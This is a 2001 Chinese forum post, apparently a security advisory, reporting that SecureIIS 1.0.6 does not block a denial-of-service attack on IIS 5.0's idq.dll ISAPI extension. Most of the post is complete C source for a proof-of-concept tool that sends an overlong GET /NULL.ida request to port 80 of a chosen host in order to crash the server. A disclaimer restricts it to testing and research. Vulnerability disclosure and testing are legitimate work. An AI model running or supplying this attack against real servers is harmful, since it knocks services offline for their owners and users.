发信人: williamlong(蓝色月光) 
整理人: williamlong(2001-07-16 15:09:44), 站内信件
 | 
 
 
SecureIIS 漏洞 (Other,缺陷) 
   
 涉及程序: 
 SecureIIS 
   
 描述: 
 SecureIIS 缺少对 IIS5.0 拒绝服务攻击的保护 
   
 详细: 
 SecureIIS ( http://www.eeye.com/html/Products/SecureIIS/index.html ) 是一款用来保护 IIS WEB 服务器免受攻击的软件。但是近日发现 SecureIIS 1.0.6 不能保护对 IIS5.0 实施的 ISAPI 拒绝服务攻击。
 
 以下代码仅仅用来测试和研究这个漏洞,如果您将其用于不正当的途径请后果自负
 
 
 // DoS for isapi idq.dll unchecked buffer.
 // For Testing Pruposes
 // By Ps0 DtMF dot com dot ar
 
 #include <stdio.h>
 #include <sys/socket.h>
 #include <sys/types.h>
 #include <netinet/in.h>
 #include <arpa/inet.h>
 #include <netdb.h>
 #include <errno.h>
 
 // #define DEBUG
 
 int main(int argc, char *argv[])
 {
   char mensaje[800];
   char *bof;
   int fd;
   struct sockaddr_in sin;
   struct hostent *rhost;
 
   if(argc<2) {
    fprintf(stderr,"Use : %s host\n",argv[0]);
    exit(0);
    }
   
   bzero(mensaje,strlen(mensaje));
   
   bof=(char *)malloc(240); // 240 segun eeye , si se le da mas NO anda
   
   memset(bof,'A',240);
 
   sprintf(mensaje,"GET /NULL.ida?%s=X HTTP/1.0\n\n",bof);
   
   
 #ifdef DEBUG
   printf("\nMenssage : \n%s\n",mensaje);
 #endif
   
   if ((rhost=gethostbyname(argv[1]))==NULL){
     printf("\nCan't find remote host %s \t E:%d\n",argv[1],h_errno);
     return -1;
   }
 
   sin.sin_family=AF_INET;
   sin.sin_port=htons(80);
 
   memcpy(&sin.sin_addr.s_addr, rhost->h_addr, rhost->h_length);
 
   fd = socket(AF_INET,SOCK_STREAM,6);
 
   if (connect(fd,(struct sockaddr *)&sin, sizeof(struct sockaddr))!=0){
     printf("\nCan't Connect to The host %s. May be down ? E:%s\n",argv[1],strerror(errno));
     return -1;
   }
   
   printf("Sending string........\n");
   
   if(send(fd,mensaje,strlen(mensaje),0)==-1){
     printf("\nError \n");
     return -1;
   }
   
   printf("\nString Sent... try telnet host 80 to check if IIS is down\n");
   
   close(fd);
   
   return 0;
 
 }
    
   
 
 
  ---- 你可以不裸奔,但我誓死捍卫你裸奔的权力! 
  | 
 
 
 |